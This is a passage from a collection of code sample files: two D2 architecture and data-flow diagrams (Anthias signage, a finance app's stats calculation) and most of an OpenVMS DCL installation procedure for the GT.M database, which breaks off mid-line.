    "path": "samples/D2/anthias-diagram-overview.d2",
    "content": "direction: down\n\nclasses: {\n  containers: {\n    shape: rectangle\n  }\n}\n\nuser: \"User\" {\n  shape: person\n}\n\ndatabase: \"SQLite3\" {\n  shape: cylinder\n}\n\na {\n  label: null\n  style.fill: transparent\n  style.stroke: transparent\n}\n\nb {\n  label: null\n  style.fill: transparent\n  style.stroke: transparent\n}\n\nb.display: \"Display (Monitor or TV)\" {\n  style.3d: true\n}\n\nanthias-nginx.class: containers\nb.anthias-viewer.class: containers\na.anthias-server.class: containers\na.anthias-websocket.class: containers\na.anthias-celery.class: containers\na.redis.class: containers\n\nuser -> anthias-nginx\nanthias-nginx <-> a.anthias-server\nanthias-nginx -> a.anthias-websocket\n\na.anthias-server <-> a.anthias-celery\na.anthias-websocket <-> a.anthias-server\na.anthias-celery -> a.redis: \"in-memory data\"\na.redis <-> a.anthias-server\n\nb.anthias-viewer <-> database: \"assets data\"\n\na.anthias-server <-> b.anthias-viewer: \"assets data\"\na.anthias-server <-> database\na.anthias-celery <-> database\n\nb.anthias-viewer -> b.display: \"current asset\"\n"
  },
  {
    "path": "samples/D2/calc_algo.d2",
    "content": "\ncTrnDao: CalcTrnDao {\n    q: Query {\n        ByTime\n        ByCategory\n        ByAccount\n        ByPurpose\n    }\n    sql: \"SQL: O(trns.count) time | O(trns.notDel.count) space\" {\n        \"SELECT amount, currency, type FROM transactions WHERE ...\"\n    }\n    trns: \"List<CalcTrn>\" {\n        CalcTrn {\n            shape: class\n\n            amount: Double\n            currency: String\n            type: TransactionType\n        }\n    }\n\n    q -> sql -> trns\n}\n\nrawStatsFlow: RawStatsFlow {\n    in: Input {\n        shape: class\n        trns: List<CalcTrn>\n    }\n\n    p: \"Process: O(trns.count) time | O(currs.unique.count) space\" {\n        \"trns.forEach { aggregate incomes, expense by currencies + count them }\"\n    }\n\n    out: RawStats {\n        shape: class\n        incomes: Map<CurrencyCode, Double>\n        expenses: Map<CurrencyCode, Double>\n        incomesCount: Int\n        expensesCount: Int\n    }\n\n    in -> p -> out\n}\n\ncTrndao.trns -> rawStatsFlow.in.trns\n\n# RatesFlow\nratesDao: RatesDao {\n    sql: \"SQL: O(rates.count) time | O(rates.baseCurr.count) space\" {\n        \"SELECT rate, currency FROM exchange_rates WHERE baseCurrency = ?\"\n    }\n    out: \"List<Rate>\" {\n        Rate {\n            shape: class\n            rate: Double\n            currency: String\n        }\n    }\n    sql -> out\n}\n\nratesOverrideDao: RateOverrideDao {\n    sql: \"SQL: O(rates.override.count) time | O(rates.override.baseCurr.count) space\" {\n        \"SELECT rate, currency FROM exchange_rates_override WHERE baseCurrency = ? AND sync != $DELETING\"\n    }\n    out: \"List<Rate>\" {\n        Rate {\n            shape: class\n            rate: Double\n            currency: String\n        }\n    }\n    sql -> out\n}\n\nratesFlow: RatesFlow {\n    deps: Dependencies {\n        ratesDao\n        ratesOverrideDao\n        baseCurrencyFlow\n    }\n    p: \"Process: O(rates.override.count) time | O(1) space\" {\n        1: \"baseCurrency.flatMapLatest {}\"\n        2: \"combine(rateDao.findByBaseCurr(), ratesOverridedao.findByBaseCurr())\"\n        3: \"Override rate with the manual set ones\"\n\n        1 -> 2 -> 3\n\n    }\n    out: \"RatesData\" {\n        shape: class\n        baseCurrency: String\n        rates: Map<CurrencyCode, Double>\n    }\n\n    deps.ratesDao -> p: Reacts\n    deps.ratesOverrideDao -> p: Reacts\n    deps.baseCurrencyFlow -> p: Reacts\n    p -> out\n}\n\nratesDao -> ratesFlow.deps\nratesOverrideDao -> ratesFlow.deps\n\n\n# ExchangeStatsFlow\nexFlow: ExchangeStatsFlow {\n    deps: Dependencies {\n        ratesFlow: \"rates: RatesFlow\"\n    }\n\n    in: Input {\n        shape: class\n        rawStats: RawStats\n        outputCurrency: String\n    }\n\n    p: \"Process: O(curr.unique.count) space-time\" {\n        incs_loop: \"rawStats.incomes.forEach {}\"\n        incs_exchange: \"exchange to output currency\"\n        incs_sum: \"sum & count\"\n\n        incs_loop -> incs_exchange -> incs_sum\n\n        exps_loop: \"rawStats.expenses.forEach {}\"\n        exps_exchange: \"exchange to output currency\"\n        exps_sum: \"sum & count\"\n\n        exps_loop -> exps_exchange -> exps_sum\n    }\n\n    out: Stats {\n        shape: class\n        income: Value\n        expense: Value\n        incomesCount: Int\n        expensesCount: Int\n    }\n\n    deps.ratesFlow -> p: Reacts to rates changes\n    in.rawStats -> p\n    p.incs_sum -> out\n    p.exps_sum -> out\n}\n\nratesFlow.out -> exFlow.deps.ratesFlow: Reacts\nrawStatsFlow.out -> exFlow.in.rawStats\n"
  },
  {
    "path": "samples/DIGITAL Command Language/fis_gtm_kitinstal.com",
    "content": "$!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n$!\t\t\t\t\t\t\t\t!\n$!\tCopyright 2001, 2011 Fidelity Information Services, Inc\t!\n$!\t\t\t\t\t\t\t\t!\n$!\tThis source code contains the intellectual property\t!\n$!\tof its copyright holder(s), and is made available\t!\n$!\tunder a license.  If you do not know the terms of\t!\n$!\tthe license, please stop and do not read further.\t!\n$!\t\t\t\t\t\t\t\t!\n$!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n$!\n$!\n$!\tKITINSTAL.COM PROCEDURE FOR THE GT.M PRODUCT\n$!\n$ ON CONTROL_Y THEN VMI$CALLBACK CONTROL_Y\n$! ON WARNING THEN EXIT $STATUS !! allow warning errors for INSTALL REPLACE\n$ IF P1 .EQS. \"VMI$_INSTALL\" THEN GOTO INSTALL\n$ IF P1 .EQS. \"VMI$_POSTINSTALL\" THEN GOTO POSTINSTALL\n$ IF P1 .EQS. \"VMI$_IVP\" THEN GOTO IVP\n$ EXIT VMI$_UNSUPPORTED\n$!\n$INSTALL:\n$ TYPE SYS$INPUT\n\n  GT.M  (c)  COPYRIGHT 1985 - 2000  by  Sanchez Computer Associates\n                            ALL RIGHTS RESERVED\n\n$!  the following 2 lines must be maintained\n$ GTM$VMS_VERSION :== 072\t! Minimum VMS version required\n$ ALPHA = (f$getsyi(\"arch_name\") .eqs. \"Alpha\")\n$ IF ALPHA\n$  THEN\n$   GTM$DISK_SPACE == 28000\t! Minumum disk space on system disk required\n$  ELSE\n$   GTM$DISK_SPACE == 16000\t! Minumum disk space on system disk required\n$ ENDIF\n$ IF F$ELEMENT(0,\",\",VMI$VMS_VERSION) .EQS. \"RELEASED\"\n$  THEN\n$   GTM$VMS_IS == F$ELEMENT(1,\",\",VMI$VMS_VERSION)\n$   IF GTM$VMS_IS .LTS. GTM$VMS_VERSION\n$    THEN\n$     VMI$CALLBACK MESSAGE E VMSMISMATCH \"This GT.M kit requires an existing VMS''GTM$VMS_VERSION' system.\"\n$     EXIT VMI$_FAILURE\n$   ENDIF\n$  ELSE\n$   GTM$VMS_IS :==\n$   WRITE SYS$OUTPUT \"  No VMS version checking performed for field test versions.\"\n$ ENDIF\n$ IF (GTM$VMS_IS .GES. \"052\") THEN T1 = F$VERIFY(VMI$KIT_DEBUG)\n$ VMI$CALLBACK CHECK_NET_UTILIZATION GTM$ROOM 'GTM$DISK_SPACE'\n$ IF .NOT. GTM$ROOM\n$  THEN\n$   VMI$CALLBACK MESSAGE E NOSPACE \"There is not enough disk space -- GT.M needs ''GTM$DISK_SPACE' blocks.\"\n$   EXIT VMI$_FAILURE\n$ ENDIF\n$!  setup default answers\n$ GTM$DOPURGE :== YES\n$ GTM$RUN_IVP :== YES\n$ GTM$STD_CNF :== YES\n$ GTM$DST_OWN :== SYSTEM\n$ IF F$IDENTIFIER(GTM$DST_OWN,\"NAME_TO_NUMBER\") .EQ. 0 THEN GTM$DST_OWN :== 1,4\n$ GTM$SYS_DST :== YES\n$ GTM$DST_DIR :== GTM_DIST\n$ GTM$DST_CRE == GTM$DST_DIR\n$ GTM$DST_DEV :==\n$ GTM$STARTDB :== YES\n$ GTM$MGR_COM :== YES\n$ GTM$HLP_DIR :== NO\n$ GTM$DEF_DCL :== YES\n$ GTM$DEF_SYS :== YES\n$ GTM$LNK_LOG :== YES\n$ GTM$INSTALL :== YES\n$ GTM$DEF_GLD :== YES\n$ GTM$GBL_DIR :== MUMPS.GLD\n$ GTM$DEF_RTN :== YES\n$ GTM$RTN_DIR :== [],GTM$DIST:\n$ GTM$PCT_RTN :== YES\n$ VMI$CALLBACK ASK GTM$DOPURGE \"Do you want to purge files replaced by this installation\" 'GTM$DOPURGE' B -\n  \"@VMI$KWD:GTMKITHLP HELP_PURGE\"\n$ IF .NOT. GTM$DOPURGE THEN VMI$CALLBACK SET PURGE NO\n$ VMI$CALLBACK ASK GTM$STD_CNF \"Do you want the standard GT.M configuration (performs INSTALL)\" 'GTM$STD_CNF' B -\n  \"@VMI$KWD:GTMKITHLP HELP_STD_CNF\"\n$ IF GTM$STD_CNF\n$  THEN\n$   GTM$SYS_DST == 1\n$   GTM$STARTDB == 1\n$   GTM$MGR_COM == 1\n$   GTM$HLP_DIR == 0\n$   GTM$DEF_DCL == 1\n$   GTM$DEF_SYS == 1\n$   GTM$INSTALL == 1\n$   GTM$LNK_LOG == 1\n$   GTM$INSTALL == 1\n$   GTM$DEF_GLD == 1\n$   GTM$DEF_RTN == 1\n$   GTM$PCT_RTN == 1\n$   GTM$DST_LOG :== SYS$COMMON:['GTM$DST_DIR']\n$   GTM$DIR_TYPE :== COMMON\n$  ELSE ! Not standard configuration\n$   VMI$CALLBACK ASK GTM$DST_OWN \"What UIC should own the GT.M distribution\" 'GTM$DST_OWN' S \"@VMI$KWD:GTMKITHLP HELP_DST_OWN\"\n$   GTM$DST_OWN == GTM$DST_OWN - \"[\" - \"]\"\n$   VMI$CALLBACK ASK GTM$SYS_DST \"Do you want the GT.M distribution to go into a System Directory\" 'GTM$SYS_DST' B -\n    \"@VMI$KWD:GTMKITHLP HELP_SYS_DST\"\n$   IF GTM$SYS_DST\n$    THEN\n$     VMI$CALLBACK ASK GTM$DST_DIR \"In what System Directory do you want to place GT.M\" 'GTM$DST_DIR' S -\n      \"@VMI$KWD:GTMKITHLP HELP_SYS_DIR\"\n$     GTM$DST_DIR == GTM$DST_DIR - \"[\" - \"]\"\n$     GTM$DST_CRE == GTM$DST_DIR\n$     GTM$DST_LOG :== SYS$COMMON:['GTM$DST_DIR']\n$     GTM$DIR_TYPE :== COMMON\n$    ELSE ! Not system disk\n$     VMI$CALLBACK ASK GTM$DST_DEV \"On which device do you want to place GT.M\" \"''GTM$DST_DEV'\" S \"@VMI$KWD:GTMKITHLP HELP_DST_DEV\"\n$     VMI$CALLBACK ASK GTM$DST_DIR \"In what directory on that device do you want to place GT.M\" 'GTM$DST_DIR' S -\n      \"@VMI$KWD:GTMKITHLP HELP_DST_DIR\"\n$     GTM$DST_DEV == GTM$DST_DEV - \":\"\n$     GTM$DST_DIR == GTM$DST_DIR - \"[\" - \"]\"\n$     GTM$DST_LOG :== 'GTM$DST_DEV':['GTM$DST_DIR']\n$     GTM$DST_CRE == GTM$DST_LOG\n$     GTM$DIR_TYPE :== USER\n$   ENDIF ! system disk\n$   VMI$CALLBACK ASK GTM$STARTDB \"Do you want GTMSTART.COM in the startup database\" 'GTM$STARTDB' B -\n    \"@VMI$KWD:GTMKITHLP HELP_STARTDB\"\n$   IF .NOT. GTM$STARTDB\n$    THEN\n$     VMI$CALLBACK ASK GTM$MGR_COM \"Do you want the GT.M .COM files in SYS$MANAGER\" 'GTM$MGR_COM' B -\n      \"@VMI$KWD:GTMKITHLP HELP_MGR_COM\"\n$   ENDIF\n$   VMI$CALLBACK ASK GTM$HLP_DIR \"Do you want the GT.M help files in SYS$HELP\" 'GTM$HLP_DIR' B \"@VMI$KWD:GTMKITHLP HELP_HLP_DIR\"\n$   VMI$CALLBACK ASK GTM$DEF_DCL \"Do you want to define GT.M commands to the system\" 'GTM$DEF_DCL' B -\n    \"@VMI$KWD:GTMKITHLP HELP_DEF_DCL\"\n$   VMI$CALLBACK ASK GTM$DEF_SYS \"Do you want to define GT.M logical names in the System Table\" 'GTM$DEF_SYS' B -\n    \"@VMI$KWD:GTMKITHLP HELP_DEF_SYS\"\n$   VMI$CALLBACK ASK GTM$LNK_LOG \"Do you want to define the LNK$LIBRARY logical names\" 'GTM$LNK_LOG' B -\n    \"@VMI$KWD:GTMKITHLP HELP_LNK_LOG\"\n$   VMI$CALLBACK ASK GTM$RUN_IVP \"Do you want to run the IVP (performs INSTALL)\" 'GTM$RUN_IVP' B -\n    \"@VMI$KWD:GTMKITHLP HELP_RUN_IVP\"\n$   IF GTM$RUN_IVP\n$    THEN\n$     GTM$PCT_RTN == 1\n$    ELSE\n$     VMI$CALLBACK ASK GTM$PCT_RTN \"Do you want to compile the GT.M percent routines (performs INSTALL)\" 'GTM$PCT_RTN' B -\n      \"@VMI$KWD:GTMKITHLP HELP_PCT_RTN\"\n$   ENDIF\n$   IF (GTM$RUN_IVP .OR. GTM$PCT_RTN)\n$    THEN\n$     GTM$INSTALL == 1\n$    ELSE\n$     VMI$CALLBACK ASK GTM$INSTALL \"Do you want to INSTALL the GT.M shareable images now\" 'GTM$INSTALL' B -\n      \"@VMI$KWD:GTMKITHLP HELP_INSTALL\"\n$   ENDIF\n$   VMI$CALLBACK ASK GTM$DEF_RTN \"Do you want to have a default definition for GTM$ROUTINES\" 'GTM$DEF_RTN' B -\n    \"@VMI$KWD:GTMKITHLP HELP_DEF_RTN\"\n$   IF GTM$DEF_RTN\n$    THEN\n$     VMI$CALLBACK ASK GTM$RTN_DIR \"What is the search specification for GTM$ROUTINES\" 'GTM$RTN_DIR' S -\n      \"@VMI$KWD:GTMKITHLP HELP_RTN_DIR\"\n$   ENDIF\n$   VMI$CALLBACK ASK GTM$DEF_GLD \"Do you want to have a default definition for GTM$GBLDIR\" 'GTM$DEF_GLD' B -\n    \"@VMI$KWD:GTMKITHLP HELP_DEF_GLD\"\n$   IF GTM$DEF_GLD\n$    THEN\n$     VMI$CALLBACK ASK GTM$GBL_DIR \"What is the file specification for GTM$GBLDIR\" 'GTM$GBL_DIR' S -\n      \"@VMI$KWD:GTMKITHLP HELP_GBL_DIR\"\n$   ENDIF\n$ ENDIF ! standard configuration\n$!  tell them what's happening\n$ IF GTM$MGR_COM\n$  THEN\n$   WRITE SYS$OUTPUT \"  The following command files are created and copied to SYS$MANAGER:\"\n$  ELSE\n$   WRITE SYS$OUTPUT \"  The following command files are created:\"\n$ ENDIF\n$ TYPE SYS$INPUT\n\n        GTMINSTALL.COM\n        GTMLOGICALS.COM\n        GTMLOGIN.COM\n        GTMSTART.COM\n        GTMSTOP.COM\n\n  Each file contains its own user documentation.\n\n  All the questions have been asked.   Installation now proceeds  without your\n  manual intervention for about 10-15 minutes.\n$ IF GTM$RUN_IVP THEN WRITE SYS$OUTPUT \"  Finally the Installation Verification Procedure tests the installation.\"\n$ WRITE SYS$OUTPUT \"\"\n$ VMI$CALLBACK CREATE_DIRECTORY 'GTM$DIR_TYPE' 'GTM$DST_CRE' \"/OWNER_UIC=[''GTM$DST_OWN'] /PROTECTION=(WO:RE)\"\n$ VMI$CALLBACK RESTORE_SAVESET B\n$ VMI$CALLBACK RESTORE_SAVESET C\n$ WRITE SYS$OUTPUT \"\"\n$ VMI$CALLBACK MESSAGE I CRECOM \"Creating command files.\"\n$!  Create GTMINSTALL.COM\n$ OPEN /WRITE OUFILE VMI$KWD:GTMINSTALL.COM\n$ WRITE OUFILE \"$!\"\n$ WRITE OUFILE \"$!\tGTMINSTALL.COM installs GTMSECSHR and other GT.M images.\"\n$ WRITE OUFILE \"$!      GTMSECSHR is a small protected image and must be installed.\"\n$ WRITE OUFILE \"$!      GTMSHR is the run-time library and is installed for performance.\"\n$ WRITE OUFILE \"$!      GTM$DMOD and MCOMPILE are small images frequently used in development.\"\n$ WRITE OUFILE \"$!\"\n$ WRITE OUFILE \"$ INSTALL\"\n$ WRITE OUFILE \"REPLACE  /OPEN/SHARED/HEADER/PROTECTED\tGTMSECSHR\"\n$ WRITE OUFILE \"REPLACE  /OPEN/SHARED/HEADER\t\tGTMSHR\"\n$ WRITE OUFILE \"REPLACE  /OPEN/SHARED/HEADER\t\tGTM$DMOD\"\n$ WRITE OUFILE \"REPLACE  /OPEN/SHARED/HEADER\t\tMCOMPILE\"\n$ WRITE OUFILE \"$ EXIT\"\n$ CLOSE OUFILE\n$!  Create GTMLOGICALS.COM\n$ GTM$HLP_LOG :== GTM$DIST\n$ IF GTM$HLP_DIR THEN GTM$HLP_LOG :== SYS$HELP\n$ OPEN /WRITE OUFILE VMI$KWD:GTMLOGICALS.COM\n$ WRITE OUFILE \"$!\"\n$ WRITE OUFILE \"$!\tGTMLOGICALS.COM defines the logical names required to use GT.M.\"\n$ WRITE OUFILE \"$!\tBy default the definitions are placed in the PROCESS table.\"\n$ WRITE OUFILE \"$!\tParameter 1, if supplied should be the name of a logical name table\"\n$ WRITE OUFILE \"$!\tand/or the mode of definition.\"\n$ WRITE OUFILE \"$!      Assignments in a \"\"permanent\"\" table reduce GT.M activation time.\"\n$ WRITE OUFILE \"$!\"\n$ IF GTM$LNK_LOG THEN WRITE OUFILE \"$!\tThe LNK$LIBRARY names many require adjustment to your environment.\"\n$ IF GTM$DEF_GLD THEN WRITE OUFILE \"$!\tGTM$GBLDIR is defined to provide default access to a global directory.\"\n$ IF GTM$DEF_RTN THEN WRITE OUFILE \"$!\tGTM$ROUTINES is defined to provide access to the GT.M utilities.\"\n$ IF GTM$DEF_RTN THEN WRITE OUFILE \"$!\tYou may wish to define a different structure for $ZROUTINES.\"\n$ WRITE OUFILE \"$!\"\n$ WRITE OUFILE \"$ IF (P1 .NES. \"\"\"\") .AND. (F$EXTRACT(0,1,P1) .NES. \"\"/\"\") THEN P1 := /'P1\"\n$ WRITE OUFILE \"$ DEFINE 'P1' GTM$DIST\t\t''GTM$DST_LOG'\"\n$ IF GTM$DEF_GLD THEN WRITE OUFILE \"$ DEFINE 'P1' GTM$GBLDIR\t''GTM$GBL_DIR'\"\n$ IF GTM$DEF_RTN THEN WRITE OUFILE \"$ DEFINE 'P1' GTM$ROUTINES\t\"\"''GTM$RTN_DIR'\"\"\"\n$ WRITE OUFILE \"$ DEFINE 'P1' GTM$HELP\t\t''GTM$HLP_LOG'\"\n$ WRITE OUFILE \"$ DEFINE 'P1' GTMSHR\t\tGTM$DIST:GTMSHR.EXE\"\n$ WRITE OUFILE \"$ DEFINE 'P1' GTMSECSHR\t\tGTM$DIST:GTMSECSHR.EXE\"\n$ WRITE OUFILE \"$ DEFINE 'P1' GTM$DMOD\t\tGTM$DIST:GTM$DMOD.EXE\"\n$ WRITE OUFILE \"$ DEFINE 'P1' MCOMPILE\t\tGTM$DIST:MCOMPILE.EXE\"\n$ IF GTM$LNK_LOG\n$  THEN\n$   N1 = 0\n$   DN = 0\n$   T1 = F$TRNLNM(\"LNK$LIBRARY\")\n$   IF  (T1 .EQS. \"\") .OR. (F$LOCATE(\"GTMLIB\",T1) .NE. F$LENGTH(T1)) .OR. (F$LOCATE(\"GTMSHR\",T1) .NE. F$LENGTH(T1))\n$    THEN\n$     WRITE OUFILE \"$ DEFINE 'P1' LNK$LIBRARY\tGTM$DIST:GTMLIB.OLB\"\n$     DN = 1\n$    ELSE ! lnk$library is in use\n$LNK_LOOP:\n$     N1 = N1 + 1\n$     T1 = F$TRNLNM(\"LNK$LIBRARY_''N1'\")\n$     IF  (T1 .EQS. \"\") .OR. (F$LOCATE(\"GTMLIB\",T1) .NE. F$LENGTH(T1)) .OR. (F$LOCATE(\"GTMSHR\",T1) .NE. F$LENGTH(T1))\n$      THEN\n$       WRITE OUFILE \"$ DEFINE 'P1' LNK$LIBRARY_''N1'\tGTM$DIST:GTMLIB.OLB\"\n$       DN = 1\n$     ENDIF\n$     IF  (.NOT. DN) .AND. (N1 .LT. 998)  THEN  GOTO LNK_LOOP\n$   ENDIF ! gtmlib handling\n$   IF  DN ! placed gtmlib\n$    THEN\n$     N1 = N1 + 1\n$     WRITE OUFILE \"$ DEFINE 'P1' LNK$LIBRARY_''N1'\tGTM$DIST:GTMSHR.OLB\"\n$    ELSE\n$     VMI$CALLBACK MESSAGE I NOLNKLOG \"No LNK$LIBRARY logical names available\"\n$   ENDIF\n$ ENDIF ! setting up LNK$LIBRARYs\n$ WRITE OUFILE \"$ EXIT\"\n$ CLOSE OUFILE\n$!  Create GTMLOGIN.COM\n$ OPEN /WRITE OUFILE VMI$KWD:GTMLOGIN.COM\n$ WRITE OUFILE \"$!\"\n$ WRITE OUFILE \"$!\tGTMLOGIN.COM performs process specific setup for GT.M.\"\n$ WRITE OUFILE \"$!\tIt calls GTMLOGICALS.COM if the logical names are not\"\n$ WRITE OUFILE \"$!      in the SYSTEM table.\"\n$ WRITE OUFILE \"$!\tIt defines symbols to access GT.M images.\"\n$ WRITE OUFILE \"$!\tIt defines GT.M commands locally if they are not defined to the system.\"\n$ WRITE OUFILE \"$!      When the command and logical names are not defined on a process level,\"\n$ WRITE OUFILE \"$!      a production user may save start-up time by not using GTMLOGIN.\"\n$ WRITE OUFILE \"$!      CCE is infrequently used, but may be defined as a foreign command.\"\n$ WRITE OUFILE \"$!\"\n$ IF .NOT. GTM$DEF_SYS\n$  THEN\n$   WRITE OUFILE \"$ dir = F$ENVIRONMENT(\"\"PROCEDURE\"\")\"\n$   WRITE OUFILE \"$ dir = F$PARSE(dir,,,\"\"DEVICE\"\") + F$PARSE(dir,,,\"\"DIRECTORY\"\")\"\n$   WRITE OUFILE \"$ @'dir'GTMLOGICALS.COM\"\n$ ENDIF\n$ IF .NOT. GTM$DEF_DCL THEN WRITE OUFILE \"$ SET COMMAND GTM$DIST:GTMCOMMANDS.CLD\"\n$ WRITE OUFILE \"$ DSE :== $GTM$DIST:DSE.EXE\t! Database System Editor\"\n$ WRITE OUFILE \"$ GDE :== $GTM$DIST:GDE.EXE\t! Global Directory Editor\"\n$ WRITE OUFILE \"$ GTM :== MUMPS/DIRECT\t\t! Direct Mode MUMPS\"\n$ WRITE OUFILE \"$ LKE :== $GTM$DIST:LKE.EXE\t! Lock Editor\"\n$ WRITE OUFILE \"$ MUPI*P :== $GTM$DIST:MUPIP.EXE\t! MUMPS Peripheral Interchange Program\"\n$ WRITE OUFILE \"$ EXIT\"\n$ WRITE OUFILE \"$ CCE :== $GTM$DIST:CCE.EXE\t! GT.CX Operator Interface Program\"\n$ WRITE OUFILE \"$ EXIT\"\n$ CLOSE OUFILE\n$!  Create GTMSTART.COM\n$ OPEN /WRITE OUFILE VMI$KWD:GTMSTART.COM\n$ WRITE OUFILE \"$!\"\n$ WRITE OUFILE \"$!\tGTMSTART.COM should be placed in the VMS startup database.\"\n$ WRITE OUFILE \"$!\tIt invokes GTMLOGICALS.COM and GTMINSTALL.COM.\"\n$ WRITE OUFILE \"$!\"\n$ WRITE OUFILE \"$ dir = F$ENVIRONMENT(\"\"PROCEDURE\"\")\"\n$ WRITE OUFILE \"$ dir = F$PARSE(dir,,,\"\"DEVICE\"\") + F$PARSE(dir,,,\"\"DIRECTORY\"\")\"\n$ IF GTM$DEF_SYS THEN WRITE OUFILE \"$ IF P1 .EQS. \"\"\"\" .OR. (P1 .EQS. \"\"FULL\"\") THEN P1 := SYSTEM/EXEC\"\n$ WRITE OUFILE \"$ @'dir'GTMLOGICALS 'P1'\"\n$ WRITE OUFILE \"$ @'dir'GTMINSTALL\"\n$ WRITE OUFILE \"$ EXIT\"\n$ CLOSE OUFILE\n$!  Create GTMSTOP.COM\n$ OPEN /WRITE OUFILE VMI$KWD:GTMSTOP.COM\n$ WRITE OUFILE \"$!\"\n$ WRITE OUFILE \"$!\tGTMSTOP.COM stops all the active GT.M processes and does a RUNDOWN.\"\n$ WRITE OUFILE \"$!\tPlace an invocation or copy of this procedure in the site specific\"\n$ WRITE OUFILE \"$!\t shutdown: SYS$MANAGER:SYSHUTDWN to ensure all GT.M databases are\"\n$ WRITE OUFILE \"$!\t properly closed before VMS terminates.  GTMSTOP should follow\"\n$ WRITE OUFILE \"$!\t GTCMSTOP and precede GTCXSTOP, if they are used.\"\n$ WRITE OUFILE \"$!\tIf GTMSTOP is not intended to disable subsequent use of GT.M,\"\n$ WRITE OUFILE \"$!\t add a comment (!) before the INSTALL REMOVE GTMSECSHR.\"\n$ WRITE OUFILE \"$!\"\n$ IF .NOT. GTM$DEF_SYS\n$  THEN\n$   WRITE OUFILE \"$ dir = F$ENVIRONMENT(\"\"PROCEDURE\"\")\"\n$   WRITE OUFILE \"$ dir = F$PARSE(dir,,,\"\"DEVICE\"\") + F$PARSE(dir,,,\"\"DIRECTORY\"\")\"\n$   WRITE OUFILE \"$ @'dir'GTMLOGICALS.COM\"\n$ ENDIF\n$ WRITE OUFILE \"$ MUPIP := $GTM$DIST:MUPIP.EXE\"\n$ WRITE OUFILE \"$ STOP := $GTM$DIST:GTM$STOP\"\n$ WRITE OUFILE \"$ STOP 'P1'\"\n$ WRITE OUFILE \"$ MUPIP RUNDOWN\"\n$ WRITE OUFILE \"$ INSTALL REMOVE GTMSECSHR\"\n$ WRITE OUFILE \"$ EXIT\"\n$ IF GTM$DEF_SYS THEN WRITE OUFILE \"$ IF P2 .EQS. \"\"\"\" THEN P2 := /SYSTEM/EXEC\"\n$ WRITE OUFILE \"$ DEASSIGN 'P2' GTMSECSHR\"\n$ CLOSE OUFILE\n$ VMI$CALLBACK MESSAGE I PREINS \"Preparing files for installation.\"\n$!  GTMFILES.KIT must be maintained as kit contents change\n$ GTM$HLP_LOG == GTM$DST_LOG\n$ IF GTM$HLP_DIR THEN GTM$HLP_LOG :== VMI$ROOT:[SYSHLP]\n$ OPEN /WRITE OUFILE VMI$KWD:GTMFILES.KIT\n$ IF GTM$MGR_COM\n$  THEN\n$   WRITE OUFILE \"GTM$ GTMINSTALL.COM VMI$ROOT:[SYSMGR] C\"\n$   WRITE OUFILE \"GTM$ GTMLOGICALS.COM VMI$ROOT:[SYSMGR] C\"\n$   WRITE OUFILE \"GTM$ GTMLOGIN.COM VMI$ROOT:[SYSMGR] C\"\n$   WRITE OUFILE \"GTM$ GTMSTART.COM VMI$ROOT:[SYSMGR] C\"\n$   WRITE OUFILE \"GTM$ GTMSTOP.COM VMI$ROOT:[SYSMGR] C\"\n$ ENDIF\n$ WRITE OUFILE \"GTM$ GTMINSTALL.COM ''GTM$DST_LOG'\"\n$ WRITE OUFILE \"GTM$ GTMLOGICALS.COM ''GTM$DST_LOG'\"\n$ WRITE OUFILE \"GTM$ GTMLOGIN.COM ''GTM$DST_LOG'\"\n$ WRITE OUFILE \"GTM$ GTMSTART.COM ''GTM$DST_LOG'\"\n$ WRITE OUFILE \"GTM$ GTMSTOP.COM ''GTM$DST_LOG'\"\n$ WRITE OUFILE \"GTM$ DSE.HLB ''GTM$HLP_LOG'\"\n$ WRITE OUFILE \"GTM$ GDE.HLB ''GTM$HLP_LOG'\"\n$ WRITE OUFILE \"GTM$ LKE.HLB ''GTM$HLP_LOG'\"\n$ WRITE OUFILE \"GTM$ MUMPS.HLB ''GTM$HLP_LOG'\"\n$ WRITE OUFILE \"GTM$ MUPIP.HLB ''GTM$HLP_LOG'\"\n$ WRITE OUFILE \"GTM$ GTMLIB.OLB ''GTM$DST_LOG'\"\n$ WRITE OUFILE \"GTM$ GTMSHR.OLB ''GTM$DST_LOG'\"\n$ WRITE OUFILE \"GTM$ GTMZCALL.MLB ''GTM$DST_LOG'\"\n$ IF ALPHA\n$  THEN\n$   WRITE OUFILE \"GTM$ GTM$DEFAULTS.M64 ''GTM$DST_LOG'\"\n$  ELSE\n$   WRITE OUFILE \"GTM$ GTM$DEFAULTS.MAR ''GTM$DST_LOG'\"\n$ ENDIF\n$ WRITE OUFILE \"GTM$ GTM$CE.H ''GTM$DST_LOG'\"\n$ WRITE OUFILE \"GTM$ GTMCOLLECT.OPT ''GTM$DST_LOG'\"\n$ WRITE OUFILE \"GTM$ GTMCOMMANDS.CLD ''GTM$DST_LOG' C\"\n$ WRITE OUFILE \"GTM$ *.M ''GTM$DST_LOG'\"\n$ CLOSE OUFILE\n$!  GTMIMAGES.KIT must be maintained as kit contents change\n$ OPEN /WRITE OUFILE VMI$KWD:GTMIMAGES.KIT\n$ WRITE OUFILE \"GTM$ GTMSECSHR.EXE ''GTM$DST_LOG'\"\n$ WRITE OUFILE \"GTM$ GTMSHR.EXE ''GTM$DST_LOG'\"\n$ WRITE OUFILE \"GTM$ DSE.EXE ''GTM$DST_LOG'\"\n$ WRITE OUFILE \"GTM$ GDE.EXE ''GTM$DST_LOG'\"\n$ WRITE OUFILE \"GTM$ GTM$DMOD.EXE ''GTM$DST_LOG'\"\n$ WRITE OUFILE \"GTM$ LKE.EXE ''GTM$DST_LOG'\"\n$ WRITE OUFILE \"GTM$ MCOMPILE.EXE ''GTM$DST_LOG'\"\n$ WRITE OUFILE \"GTM$ MUPIP.EXE ''GTM$DST_LOG'\"\n$ WRITE OUFILE \"GTM$ GTM$STOP.EXE ''GTM$DST_LOG'\"\n$ CLOSE OUFILE\n$!  Provide with file.KITs\n$ VMI$CALLBACK PROVIDE_FILE \"\" VMI$KWD:GTMFILES.KIT \"\" T\n$ VMI$CALLBACK PROVIDE_IMAGE \"\" VMI$KWD:GTMIMAGES.KIT \"\" T\n$ VMI$CALLBACK MESSAGE I FININS \"Finalizing the installation.\"\n$ IF GTM$DEF_DCL THEN VMI$CALLBACK PROVIDE_DCL_COMMAND GTMCOMMANDS.CLD\n$ IF GTM$STARTDB THEN VMI$CALLBACK MODIFY_STARTUP_DB ADD GTMSTART.COM LPMAIN\n$!  GTM$INSTALL is TRUE if GTM$RUN_IVP or 